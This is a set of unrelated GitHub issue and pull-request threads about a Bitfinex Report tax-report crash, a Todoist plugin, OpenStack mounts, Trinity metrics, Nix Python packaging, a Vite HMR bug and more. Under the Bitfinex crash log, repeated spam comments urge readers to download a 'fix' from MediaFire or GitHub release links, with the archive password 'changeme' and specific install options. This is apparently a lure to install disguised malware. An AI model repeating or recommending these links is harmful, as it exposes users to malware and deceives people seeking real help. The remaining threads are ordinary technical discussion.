[BUG REPORT]

An error occurred
WORKER:ERROR [2024-08-12T20:35:20.150Z]     Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
  - METHOD_NAME: emitTrxTaxReportGenerationInBackgroundToOne
  - STATUS_CODE: 500
  - STATUS_MESSAGE: Internal Server Error
  - DATA: {
      "symbol": "MTO",
      "requiredMts":<PHONE_NUMBER>000
    }
  - STACK_TRACE PubTradeFindForTrxTaxError: Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
    at #convertCurrencies (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:322:21)
    at async TransactionTaxReport.getTransactionTaxReport (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:174:5)

Debug info

Version
4.25.0

Commit Hash
2b4a9376cd48350c41c98ee9e0bf3f866b1f6c35

Commit Date
2024-07-31T15:25:50Z

Electron
27.3.5

Chrome
118.0.5993.159

Node.js
18.17.1

V8
<IP_ADDRESS>-electron.0

OS version
Darwin Kernel Version 23.5.0: Wed May  1 20:16:51 PDT 2024; root:xnu-10063.121.3~5/RELEASE_ARM64_T8103

OS release
Darwin x64 23.5.0

CPUs
Apple M1 x 8

RAM
16GB (0.06GB free)

App RAM limit
4095.75Mb (17.65MB used)

Is BFX API Staging used
No

Main log
  - STACK_TRACE PubTradeFindForTrxTaxError: Internal Server Error: ERR_NO_PUBLIC_TRADES
    at #convertCurrencies (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:322:21)
    at async TransactionTaxReport.getTransactionTaxReport (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:174:5)
[2024-08-10 09:18:02.704] [error] Error: Error: net::ERR_SOCKET_NOT_CONNECTED
    at SimpleURLLoaderWrapper.<anonymous> (node:electron/js2c/browser_init:2:110219)
    at SimpleURLLoaderWrapper.emit (node:events:514:28)
[2024-08-10 09:18:02.737] [error] Error: net::ERR_SOCKET_NOT_CONNECTED
    at SimpleURLLoaderWrapper.<anonymous> (node:electron/js2c/browser_init:2:110219)
    at SimpleURLLoaderWrapper.emit (node:events:514:28)
[2024-08-10 20:32:45.804] [error] WORKER:ERROR [2024-08-11T02:32:45.792Z]     Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
  - METHOD_NAME: emitTrxTaxReportGenerationInBackgroundToOne
  - STATUS_CODE: 500
  - STATUS_MESSAGE: Internal Server Error
  - DATA: {
      "symbol": "MTO",
      "requiredMts":<PHONE_NUMBER>000
    }
  - STACK_TRACE PubTradeFindForTrxTaxError: Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
    at #convertCurrencies (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:322:21)
    at async TransactionTaxReport.getTransactionTaxReport (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:174:5)
[2024-08-12 14:35:20.180] [error] WORKER:ERROR [2024-08-12T20:35:20.150Z]     Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
  - METHOD_NAME: emitTrxTaxReportGenerationInBackgroundToOne
  - STATUS_CODE: 500
  - STATUS_MESSAGE: Internal Server Error
  - DATA: {
      "symbol": "MTO",
      "requiredMts":<PHONE_NUMBER>000
    }
  - STACK_TRACE PubTradeFindForTrxTaxError: Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
    at #convertCurrencies (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:322:21)
    at async TransactionTaxReport.getTransactionTaxReport (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:174:5)

Worker errors
    at async TransactionTaxReport.getTransactionTaxReport (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/trans
WORKER:ERROR [2024-08-09T21:18:41.408Z]     Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
  - METHOD_NAME: emitTrxTaxReportGenerationInBackgroundToOne
  - STATUS_CODE: 500
  - STATUS_MESSAGE: Internal Server Error
  - DATA: {
      "symbol": "MTO",
      "requiredMts":<PHONE_NUMBER>000
    }
  - STACK_TRACE PubTradeFindForTrxTaxError: Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
    at #convertCurrencies (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:322:21)
    at async TransactionTaxReport.getTransactionTaxReport (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:174:5)
WORKER:ERROR [2024-08-11T02:32:45.792Z]     Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
  - METHOD_NAME: emitTrxTaxReportGenerationInBackgroundToOne
  - STATUS_CODE: 500
  - STATUS_MESSAGE: Internal Server Error
  - DATA: {
      "symbol": "MTO",
      "requiredMts":<PHONE_NUMBER>000
    }
  - STACK_TRACE PubTradeFindForTrxTaxError: Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
    at #convertCurrencies (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:322:21)
    at async TransactionTaxReport.getTransactionTaxReport (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:174:5)
WORKER:ERROR [2024-08-12T20:35:20.150Z]     Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
  - METHOD_NAME: emitTrxTaxReportGenerationInBackgroundToOne
  - STATUS_CODE: 500
  - STATUS_MESSAGE: Internal Server Error
  - DATA: {
      "symbol": "MTO",
      "requiredMts":<PHONE_NUMBER>000
    }
  - STACK_TRACE PubTradeFindForTrxTaxError: Internal Server Error: ERR_NO_PUBLIC_TRADES_FOR_TRX_TAX
    at #convertCurrencies (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:322:21)
    at async TransactionTaxReport.getTransactionTaxReport (/Applications/Bitfinex Report 2.app/Contents/Resources/app/bfx-reports-framework/workers/loc.api/sync/transaction.tax.report/index.js:174:5)

Worker exceptions
Empty

The issue was opened from the electron app

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Overdue filter shows task which are closed

Obsidian: 1.4.16
Todoist plugin: 1.11.1
Describe the bug
It happens the first time that the overdue filter shows 2 tasks which had been closed already.
To Reproduce
Steps to reproduce the behavior:
Create a filter like follows
```todoist
name: Overdue
filter: overdue
sorting:
   - date

Now two tasks are displayed which were closed already in September. In Todoist these tasks are not shown in overdue filter

Hi @manfredlotz are you still experiencing this? Given the report, I'm leaning toward this being a Todoist issue. An easy way to test this if you encounter this again:

Close all open files with the affected codeblock
Reopen the file and wait for the codeblock to re-initialize
If the offending tasks are still there, its likely a Todoist issue

The plugin does not maintain state outside of the rendered blocks, so if it displays immediately on first render, its just whatever we are getting from Todoist.

Thanks @jamiebrynes7
Your reasoning is very convincing.

I could not find those two tasks in the todoist app
But using a command line tool I was able see those two tasks and could delete them (also by using the command line tool)


Fix ExtraMounts

ExtraMounts were being dropped and not added to the created
OpenStackAnsibleEE resources. The reason was because as each composable
service is deployed, aeeSpec.ExtraMounts is reset back to the original
value so that there is no cross over between mounts from individual
composable services. The reset was not working because the initialied
value of aeeSpec.ExtraMounts did not have a lenght set, causing the
copy() function to not actually copy any data.
The commit switches to using make(...) with a length parameter to ensure
the copy() works as intended.
Adds a new kuttl test, dataplane-extramounts, to test this specific
functionality.
Signed-off-by: James Slagle<EMAIL_ADDRESS>

+2 this also fixed the problem according to my testing


crystaldiskinfo: Update download links

This is my attempt at updating the download links to improve the download speeds.
Shortlist of what's modified:

URL
Checkver
Autoupdate

Since I don't comprehend regex and therefore did a copy-paste job hoping that they follow the same structure, let's see.
Closes #7922

[ X ] I have read the Contributing Guide.

/verify


Collect runtime metrics and push them into InfluxDB to be used by Grafana

What was wrong?
We don't have infrastructure in place to collect runtime metrics. Collecting various metrics helps tremendously to better understand the impact of changes ("Oh turns out our 2x improvement here causes a 4x regression there")
As an example, here's a Geth PR with tons of shiny charts that demonstrate the impact of the PR.
I recently had a very constructive discussion with the Geth team and they have invited us to use their existing influxdb/grafana infrastructure to collect metrics for Trinity.
They went ahead and setup a DB and Grafana user for us and I decided to shift my attention there to get something off the ground.
How was it fixed?

The general guideline for the implementation was "copy whatever geth does". This is based on the fact that they've already build up tons of knowledge in this area, invested many hours in the system including creating many different charts etc. and we can stand on the shoulders of giants if we just start copying what they do.

The implementation uses pyformance which is the closest to go-metrics that Geth uses. It provides Gauges, Counters, Meters etc as well as different reporters including one that reports straight to InfluxDB.

This adds a Metrics component that runs in its own process to collect system metrics similar to this in Geth

This does not yet add metrics that are concerned with more Trinity specific things such as peer connections etc. However, I think I have an idea about how that would work out. It's a little different for us compared to Geth because Trinity uses many different processes. I think that the MetricsComponent should be used to collect all system wide  metrics but that other metrics should just be collected and reported via additional MetricService instances in those other component processes. The alternative would be to send metrics cross processes via the eventbus to push them all at once but I see no benefit in that. I think that would just introduce lots of complexity and load in the form of inter process communication with the only benefit being a little better batching of data towards influxdb.
The following dashboard is a straight clone from one of the  Geth dashboards and it shows two connected charts with the rest of the charts just being a stub of metrics that we probably want to add in the future.

Also node that due to the nature of Trinitys multi process architecture there are quite a few interesting Trinity specific charts that we could also add in the future.
To-Do

[x] Clean up commit history

[x] Add entry to the release notes

Cute Animal Picture

This landed as part of #1595


Analyzing and updating the new question driven version of CSS

Describe the issue
After testing the new CSS with identified participant, we want to analyse income and update the CSS to a new more polished version.
Additional context
Add any other context, attachments or screenshots
Definition of done

Analyze insights
Update the CSS (finalized, published)
Share with  PO and community
Create a ticket to get the CSS online
Create a ticket to link the CSS to our login app and our pre-reading material

Bonnie reached out and said there is a coop being hired for Sept and they can test

I have concerns about assigning QA of something this complex to a coop with zero context of all the users and processes in gov

Possible our QA could take this on

not relevant


Shoe website landing page(#184)

Shoe website landing page project added to front-end-project repo and also added readme file. Kindly merge this.
#184

@Vanshiii203 Sorry Mam but have very less knowledge and no experience on that will try to implement from the next projects after learning.

@Vanshiii203 Sorry Mam but have very less knowledge and no experience on that will try to implement from the next projects after learning.

No Problem😊

Ok will make the changes and fix the image under screenshots.

Made the required changes. Kindly have a look into it.

Made the required changes. Kindly have a look into it.

Hello, I don't think the problem is with the extension, the problem persists with the path. Try /images/website-screenshot.jpg as the path. @nitishsadhu03

with /images path it is not visible to me so I tried ./images path. Check now.

Sorry, but non-responsive websites are not accepted in this repo


Fix bootstrap config

There is a configuration mismatch in some bootstrap.yaml service name and mqtt dev config

@mtrimolet thanks for this PR, I had done that in a hurry typing my company name in there. Its a habit thanks again


Use Precision's Epsilons for BindableNumber.DefaultPrecision

Fixes a regression occurred in #2816

I believe we may want to keep epsilon and do if (Precision > float.Epsilon) /* apply precision */ instead, just so that in the case that precision is specified BindableFloat/BindableDouble essentially become float/double stores respectively.

I believe we may want to keep epsilon and do if (Precision > float.Epsilon) /* apply precision */ instead, just so that in the case that precision is specified BindableFloat/BindableDouble essentially become float/double stores respectively.

I've clamped the precision instead Math.Max(Precision / 2, Epsilon)


How to access external data when making an analysis?

Hi, I'm now implementing a project related to tensor computation graph rewriting. I would like to attach custom data (e.g., output tensor shape) with each eclass. For example:
define_language! {
    pub enum MyLanguage {
        "tensor"     = Tensor(Id),
        "transpose"  = Transpose(Id),
    }
}

#[derive(Default, Debug, Clone)]
pub struct MyAnalysis {}

#[derive(Default, Debug, Clone)]
pub struct TensorShape {
    pub shape: Vec<usize>,
}

impl Analysis<MyLanguage> for MyAnalysis {
    type Data = TensorShape;
    fn make(egraph: &EGraph<MyLanguage, Self>, enode: &MyLanguage) -> Self::Data {
        let x = |i: &Id| egraph[*i].data;
        match enode {
            MyLanguage::Tensor(id) => {
                // how can I know the shape of this tensor?
            },
            MyLanguage::Transpose(id) => {
                // trasfer shape
                unimplemented!()
            }
        }
    }
    fn merge(&mut self, a: &mut Self::Data, b: Self::Data) -> DidMerge {
        unimplemented!()
    }
}

fn main() {
    let expr = "(transpose (tensor 0))";
    let tensorshapes = vec![TensorShape { shape: vec![1, 2, 3] }];
    let mut runner = Runner::<MyLanguage, MyAnalysis>::default();
    runner.run(..);
}

However, I cannot find a good way to access the tensorshape of MyLanguage::Tensor(id)  in the MyAnalysis::make. My solution for now is to change the MyLanguage to something like MyLanguage::Tensor(Id, Vec<Id>), and embeding the tensor shape into the Vec<Id>. But it seems not a good solution.
Is there a more elegant way to achieve this goal?

You could look up the given enode, but it might not be in the e-graph: that's part of the problem. make is called upon new enode insertion to generate the initial analysis data, and it's also called to update it when equivalences are made.


Add error messaging for forbidden analysis imports

Closes https://github.com/VEuPathDB/web-eda/issues/1570

Could you give this one more pass-over? I am unable to find a reliable way to test these changes, so would feel (a bit) better with another set of eyes on the changes.


Fix issue #680 Postgres json column search

Update BaseBuilder.php

Please keep PR's at one topic a piece. This contains two different fixes that are not related - the Postgres fix and a validation fix (which breaks the tests). Remove the validation fix and submit it separately please.


Feature/unit tests/entity base

Description
Abstract
This PR contains unit tests for EntityBase, which is a part of traffic_simulator package.
Details
A mock implementation DummyEntity, contained in dummy_entity.hpp, was created to test EntityBase abstract class.
Repetitive functions used to instantiate objects in tests are included in entity_helper_functions.hpp.
All tests are included in test_entity_base.cpp file.
List of tests included in this PR:

appendDebugMarker
asFieldOperatorApplication
get2DPolygon
startNpcLogic
activateOutOfRangeJob_speed
activateOutOfRangeJob_acceleration
activateOutOfRangeJob_jerk
onUpdate
onPostUpdate
resetDynamicConstraints
requestLaneChange_absoluteTarget
requestLaneChange_relativeTarget
requestLaneChange_relativeTargetLaneletPose
requestLaneChange_relativeTargetnName
requestLaneChange_relativeTargetInvalid
setDynamicConstraints
setOtherStatus
setStatus
requestFollowTrajectory
requestWalkStraight
updateStandStillDuration_startedMoving
updateStandStillDuration_notStarted
updateTraveledDistance_startedMoving
updateTraveledDistance_notStarted
stopAtCurrentPosition
getLaneletPose_notOnRoadAndCrosswalkPedestrian
getLaneletPose_onRoadAndCrosswalkPedestrian
getLaneletPose_onCrosswalkNotOnRoadPedestrian
getLaneletPose_notOnRoadAndCrosswalkNotPedestrian
getLaneletPose_onRoadAndCrosswalkNotPedestrian
getLaneletPose_onCrosswalkNotOnRoadNotPedestrian
getMapPoseFromRelativePose_relative

References
Jira ticket: internal link
Destructive Changes
There are no destructive changes.

I understand, but the DummyEntity class is not used inside the traffic_simulator and writing a unit test against it would not be a worthwhile test.
Please use VehicleEntity/PedestrianEntity/MiscObjectEntity etc. which are actually used inside traffic_simulator for your tests.

I recommend that you re-create the pull request because it will be almost entirely rewritten.

If you create an Entity for testing and test it, it cannot be a valid test.
I cannot merge such tests as it only increases the amount of code that needs to be maintained.

For example, I believe it is a good idea to check the protected field target_speed_ to verify the side effects of calling requestSpeedChange, or to check if the setOtherStatus method works correctly and verify if the protected field other_status_ is as expected. For that, I need a protected member accessor, which is implemented in the class we decided to provide.

I think these cases can be tested on PedestrianEnttiy/VehicleEntity/MiscObjectEntity

Due to major changes, this PR is being closed. See https://github.com/tier4/scenario_simulator_v2/pull/1286


Rustfmt Macro with $( tt )* can introduce breaking comma

Without running rustfmt, this macro compiles (albeit it does look very strange).
After running rustfmt, it introduces a comma between functions which leads to it no longer compiling.
https://play.rust-lang.org/?version=nightly&mode=debug&edition=2021&gist=0d69aa8f44c299d2726f3e39e6c535ff
Inlined:
macro_rules! document {
  ($t: ty, $( $code_block: tt )*)=> {
    const DOC: &'static str = stringify!($( $code_block )*);

    $( $code_block )*
  }
}
struct T;

document!(T, fn example() {} fn other() {});
// ^ Comma is introduced here: `fn example() {}, fn other() {}`

fn main() {}

Thanks for reaching out. I believe this is a duplicate of #4375 and #4631


Python: Fixed-point combinator

Motivation for this change
Use fixed-point combinator for python-packages.nix.
Follow-up of #16784.

[x] use combinator
[x] fix Python 3 buildEnv
[ ] document changes, this will break current overriding
[x] pythonFull

I have a strange problem. The following works
$ nix-shell -E 'with import <nixpkgs> {}; (pkgs.pythonNew.cpython27.withPackages (ps: [ps.py])).env' -I nixpkgs=~/Code/libraries/nixpkgs

but when I call with any Python 3.x interpreter I get
$ nix-shell -E 'with import <nixpkgs> {}; (pkgs.pythonNew.cpython35.withPackages (ps: [ps.py])).env' -I nixpkgs=~/Code/libraries/nixpkgs
these derivations will be built:
  /nix/store/mwshhi78jabxskfxbw51lid90maz9ls0-python3-3.5.2-env.drv
building path(s) ‘/nix/store/x2skcfchcin4ndiyhivvcqvzlpbl1hsz-python3-3.5.2-env’
collision between `/nix/store/06af6d830iawfqbla1vjzckpzmyqswvi-python3-3.5.2/bin/easy_install-3.5' and `/nix/store/f0spcxz7h00mncf3gn8x81ng46vhdzl2-python3.5m-setuptools-19.4/bin/easy_install-3.5'
builder for ‘/nix/store/mwshhi78jabxskfxbw51lid90maz9ls0-python3-3.5.2-env.drv’ failed with exit code 25
error: build of ‘/nix/store/mwshhi78jabxskfxbw51lid90maz9ls0-python3-3.5.2-env.drv’ failed
/run/current-system/sw/bin/nix-shell: failed to build all dependencies

It does work correctly with pypy27.

 pkgs/development/python-modules/default.nix line 4 and 22 have commented lines. Should those be removed?

Thanks for the feedback. What do you think about the splitting up of the packages (python-packages.nix) and support.nix? It's not really necessary in my opinion but its nice  for clarity to have it separated I think.

I don't have a strong opinion either way.

@bennofs do you have any idea what is causing https://github.com/NixOS/nixpkgs/pull/17428#issuecomment-236623178?

https://github.com/NixOS/nixpkgs/pull/17428#issuecomment-236623178 is solved with 8fad3e81b07825ae8476f49eb32bd80f87ea82d2

I've introduced an extra function for building Python packages that do not come with setup.py.

I have tried this PR, and I am hitting some chicken and egg problem. Documenting python new may seem useless because test results may trigger changes, but testing without documentation is... hard :-).
Anyway, this PR breaks pythonPackages.lti. This package is interesting because it needs to be built in a different scope, where pytest is pytest_27 instead of the default pytest_29.
Apparently the new self has no override attribute anymore. How can I override self from within pkgs/top-level/python-packages.nix ?

@layus thanks for checking it out.
Calling pkgs/development/interpreters/python/interpreter.nix returns a set (I need a name for this set!) that includes a package set. You can give interpreter.nix overrides.
I will add to the set which has no name yet a small function that allows you to easily build a new set for that interpreter. I think that would be very convenient.
I'm a bit short in time atm but will get back to you!

I need a name for this set!
Why not interpreter ?

I had a simple hack implemented in https://gist.github.com/layus/311fb6cb9d6c83dadb1e1522c6caa9ee. I know it only allows to override interpreter.pkgs and not interpreter itself, but it is also quite simple, and does not require naming/exposing the aforementioned set.

Why not interpreter ?

Well, right now we have pythonNew.cpython.python.interpreter. Do you know what each attribute is? :smile:
Many derivations still use python, the actual interpreter, which is in this case pythonNew.cpython.python. I hope that eventually we have python = pythonNew.cpython, which is then a interpreter. When you need the actual interpreter it would then be python.python.

I had a simple hack implemented in https://gist.github.com/layus/311fb6cb9d6c83dadb1e1522c6caa9ee. I know it only allows to override interpreter.pkgs and not interpreter itself, but it is also quite simple, and does not require naming/exposing the aforementioned set.

It should definitely still be possible to do such overrides within the package set, not being able to is a bug! (There are still plenty issues with this.) If you do need to override the interpreter you will inevitably get a new package set in which case you can use what I wrote.

Well, right now we have pythonNew.cpython.python.interpreter. Do you know what each attribute is? :smile:

I would go with the following attributes hierarchy (inspired by haskell):
pythonNew.interpreters.{cpythonXY,pypy,...}.{buildPythonPackage,mkDerivation,wrapPython,...}
pythonNew.packages.{cpythonXY,pypy,...}.{django_1_9,ipython,...}

pythonXXPackages -> pythonNew.packages.cpythonXX
pythonPackages -> python27Packages

pythonXX -> pythonNew.interpreters.cpythonXX
python -> python27

For completeness, you could even add cross-references:
pythonNew.interpreters.{cpythonXY,pypy,...}.pkgs == pythonNew.packages.{cpythonXY,pypy,...}
pythonNew.packages.{cpythonXY,pypy,...}.interpreter == pythonNew.interpreters.{cpythonXY,pypy,...}

Of course, this means that python.pkgs.interpreter.pkgs.interpreter is valid, but not necessarily a problem.
Finally, pythonNew.interpreters.cpython27 could be both an interpreter set (buildPythonPackage, mkDerivation, wrapPython, etc.) and a derivation. This is possible in nix, and would avoid the extra python field in pythonNew.interpreters.cpython27.python.
@FRidh: Is there any way I can help you with this PR ?

@FRidh: Is there any way I can help you with this PR ?

Thanks for the offer! The biggest issue at the moment is deciding on exactly how this should look like, before moving on.

I would go with the following attributes hierarchy (inspired by haskell):

I considered that first (I just copied it as a starting point) but whereas Haskell has multiple compilers and multiple package sets, with Python we have multiple interpreters and only one package set. Therefore I dropped
pythonNew.interpreters.
pythonNew.packages.

and went with
pythonNew.<interpreter>.pkgs

instead.

Finally, pythonNew.interpreters.cpython27 could be both an interpreter set (buildPythonPackage, mkDerivation, wrapPython, etc.) and a derivation. This is possible in nix, and would avoid the extra python field in pythonNew.interpreters.cpython27.python

Indeed, and that is basically what we do currently with the interpreters and buildEnv / withPackages added to the passthru. I like that, however, it doesn't make it possible to build an interpreter without a package set. I wonder whether that really would be a problem.

pythonNew.cpython27.pkgs package set
pythonNew.cpython35.withPackages to build an env with packages
pythonNew.pypy.buildEnv to build an env
pythonNew.pypy27.executable name of Python executable

Also, what do you think of actually putting the interpreters directly in top-level, that is, merging the two sets so we get pkgs.cpython27.pkgs

pythonNew.<interpreter>.pkgs makes total sense.

I like that, however, it doesn't make it possible to build an interpreter without a package set. I wonder whether that really would be a problem.

Who cares? Nix is lazy enough avoid building the package set if you don't need it. It is only a potential package set.

pythonNew.cpython27.pkgs package set
pythonNew.cpython35.withPackages to build an env with packages
pythonNew.pypy.buildEnv to build an env

Okay

pythonNew.pypy27.executable name of Python executable

Huh ? Do you mean a string like "pypy27" ? In that case we already have pythonNew.pypy27.name as pythonNew.pypy27 is a proper derivation.

Also, what do you think of actually putting the interpreters directly in top-level, that is, merging the two sets so we get pkgs.cpython27.pkgs

Not sure what you mean here. I have considered putting packages directly under pythonNew.cpython27, as in pythonNew.cpython27.django. I like it, but it seems rather bold, and could easily conflict with some attributes of the pythonNew.cpython27 derivation.
As for removing the pythonNew prefix, it looks like a great thing, but we may break many packages, right ?

Let's denote . the root of nixpkgs attributes hierarchy. We then have .pythonNew.python.
If you want something more flat, we could even go with .cpython35.django.
In this case, .python35 would be a package set augmented with utilities like withPackages and buildEnv. The real python interpreter would be located in .cpython35.python.
How bad would we break nixpkgs with this scheme ?

Who cares? Nix is lazy enough avoid building the package set if you don't need it. It is only a potential package set.

Its more that if you want to build just the interpreter you have to pass in something looking like a package set. Or, actually, we build the package set inside the derivation of the interpreter. That way you can easily override the interpreter without fighting to get the package set to use the updated interpreter.

Huh ? Do you mean a string like "pypy27" ? In that case we already have pythonNew.pypy27.name as pythonNew.pypy27 is a proper derivation.
I was referring to one of the attributes that is currently passed through.

As for removing the pythonNew prefix, it looks like a great thing, but we may break many packages, right ?

No, we won't, since we don't use the cpython prefix anywhere, and furthermore, if we would make pkgs an attribute of the interpreter not much really changes for other expressions.

If you want something more flat, we could even go with .cpython35.django.
In this case, .python35 would be a package set augmented with utilities like withPackages and buildEnv. The real python interpreter would be located in .cpython35.python.

How badly would we break nixpkgs with this scheme ?
Nothing really, if you pass .cpython27 instead of what is now .pythonPackages. But my preference would be to have a separate attribute pkgs since I find adding packages directly to the passthru of the interpreter rather messy.

I've simplified the changes somewhat. It doesn't work entirely yet, but I think it is an improvement nevertheless.
The following example shows how to build scipy with an older version of numpy
python35.override{ pkgOverrides =  self: super: {numpy = self.numpy_1_10;} ;}).pkgs.scipy

and this derivation can be build with
$ nix-build -E 'with import <nixpkgs>{}; (pkgs.python35.override{ pkgOverrides =  self: super: {numpy = self.numpy_1_10;} ;}).pkgs.scipy

Furthermore, python.buildEnv is currently broken, no idea why.
@layus , lti doesn't work yet work. I guess I have to find the right spot to apply makeOverridable.

@layus in order to find a solution to lti I made a commit that uses the fixed-point combinator without any additional changes. Thinking about it, I don't think it is possible to override the package set like you did.
I had a look at the Haskell package set for a solution. Like in all-packages.nix each expression is a function with all dependencies as arguments (see hackage-packages.nix). That way, just overriding the function can give you a derivation with say a different version of a dependency. Furthermore, the derivations are given an attribute overrideScope, which allows you to evaluate all packages with a different version of a dependency.
This we should be able to get working with python-packages.nix as well. Adding a function definition to each expression is going to take a lot of time, although maybe we could use the ellipsis. I don't plan to work on this anymore anytime soon so I am closing this.


HMR is often not working at all

Describe the bug
Hi, multiple members of the team I'm working in are suffering from Vite's HMR sometimes not working at all (not even full page reloads happen, the page just isn't updated). In some files in the codebase, it consistently never works.
We're using vite together with react. It's driving us crazy when it doesn't work, since we've gotten used to HMR always working, so when things don't behave as expected in the browser, we first think our code is at fault. We re-think approaches and add debug information, only to notice even that doesn't work. Then we reload the page, which unfortunately given our project size takes around 35 seconds (so it isn't a viable workaround to always reload). After a reload, our code suddenly works, and we get frustrated.
This led me to providing this reproduction, in hopes of someone knowing how to fix it. As copying files into a fresh repo didn't reproduce the bug, I have started out with the file where HMR never worked for us (useAnimationStyling) and spent hours painstakingly deleting files from our project.
Unfortunately, the "hit rate" of the bug has gone down from 100% to ~15% in the process, yet the "minimal" reproduction contains 45 files. Most of them just contain one import and one export though.
Apparently, the bug has at least something to do with project size, as deleting a bunch of unused files (not imported at all from vite's entrypoint) from our actual repo seems to have decreased the success rate down to matching the one of the attached reproduction repo.
Please have some patience when trying to follow the reproduction steps.
Related issue: https://github.com/vitejs/vite/issues/16284 but I don't think this is the same since for us it works for some files all the time and never for some others.
Reproduction
https://github.com/danieltroger/vite-hmr-bug-repro
Steps to reproduce

git clone https://github.com/danieltroger/vite-hmr-bug-repro
cd vite-hmr-bug-repro
yarn
yarn dev
Open the provided link in your browser
Open devtools in the browser
Open ./src/lite/views/Collection/DragAndDrop/useAnimationStyling.tsx in your editor
Change the string being logged
If the new string is logged, change it again
Repeat step 9 until the new string is no longer logged, but only

16:58:48.693 client:64 [vite] invalidate /src/lite/views/Collection/DragAndDrop/useZone.tsx: Could not Fast Refresh. Learn more at https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-react#consistent-components-exports
16:58:48.694 client:223 [vite] hot updated: /src/lite/views/Collection/DragAndDrop/useZone.tsx
16:58:48.695 client:223 [vite] hot updated: /src/lite/views/Collection/DragAndDrop/DragAndDropZones.tsx

Congratulations, you have hit the bug! When our project is in its full glory without any files deleted, this happens every time. You might have to do ~20 saves to hit it.
Here's a video of me walking through the reproduction steps (if it doesn't play, right click + save as and open it with QuickTime):
https://github.com/user-attachments/assets/19c40415-4e75-464c-bc85-e06411e5b1bf
System Info
System:
    OS: macOS 15.0
    CPU: (10) arm64 Apple M1 Max
    Memory: 66.05 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 21.2.0 - ~/.nvm/versions/node/v21.2.0/bin/node
    Yarn: 4.5.0 - /opt/homebrew/bin/yarn
    npm: 10.2.3 - ~/.nvm/versions/node/v21.2.0/bin/npm
    pnpm: 8.6.10 - /opt/homebrew/bin/pnpm
    bun: 1.1.29 - /opt/homebrew/bin/bun
  Browsers:
    Brave Browser: <IP_ADDRESS>
    Chrome: 129.0.6668.60
    Chrome Canary: 131.0.6742.0
    Edge: 129.0.2792.65
    Firefox Nightly: 129.0a1
    Safari: 18.0
    Safari Technology Preview: 18.0

### Used Package Manager

yarn

### Logs

_No response_

### Validations

- [X] Follow our [Code of Conduct](https://github.com/vitejs/vite/blob/main/CODE_OF_CONDUCT.md)
- [X] Read the [Contributing Guidelines](https://github.com/vitejs/vite/blob/main/CONTRIBUTING.md).
- [X] Read the [docs](https://vitejs.dev/guide).
- [X] Check that there isn't [already an issue](https://github.com/vitejs/vite/issues) that reports the same bug to avoid creating a duplicate.
- [X] Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to [vuejs/core](https://github.com/vuejs/core) instead.
- [X] Check that this is a concrete bug. For Q&A open a [GitHub Discussion](https://github.com/vitejs/vite/discussions) or join our [Discord Chat Server](https://chat.vitejs.dev/).
